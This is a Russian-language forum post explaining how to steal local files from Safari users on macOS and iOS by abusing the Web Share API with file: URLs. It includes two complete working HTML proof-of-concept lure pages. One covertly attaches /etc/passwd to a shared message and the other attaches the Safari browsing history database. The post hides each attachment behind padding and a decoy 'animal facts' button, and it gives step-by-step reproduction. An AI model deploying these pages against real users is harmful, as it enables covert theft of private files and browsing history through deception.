advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising

Кража локальных файлов с помощью Safari Web Share API

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
В этой статье описан метод кражи содержимого локальных файлов пользователей MacOS и iOS, предлагаю заглянуть в историю браузера и прочесть файл /etc/passwd.

Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.

В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.

Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.

Подготовка:

Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.

Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:



<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};

function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>


Ниже приведены шаги по воспроизведению проблемы:
  • Заходим на наш сайт https://mydomain/webshare/poc1.html, используя Safari или Mobile Safari
  • Нажмите «Share it with friends!»
  • Выберите способ (например, почта, сообщения)
  • «Send it» или «Share it» (или просто проверьте то, что было прикреплено)
  • Получателю был отправлен локальный /etc/passwd

Нажимаем "Поделиться" и выберем, к примеру, сообщение на почту:


Отправив сообщение на выбранный почтовый ящик, откроем письмо от целевого устройства:


Сохраняем файл passwd, и открываем его в редакторе:


Результат, на мой взгляд вполне удовлетворительный.

Попробуем подсмотреть историю посещений браузера:

Немного изменим исходный код poc1.html:

<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};

function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>


Добавив:

file:///private/var/mobile/Library/Safari/History.db

Проделываем те же шаги, что и в предыдущем примере и на почту получаем файл с расширением .db.


Сохраняем себе локально и открываем с помощью DB Browser SQLite:


В результате, мы получаем всю историю посещений пользователя.

C MacOS такой трюк тоже работает без проблем.
 
Верх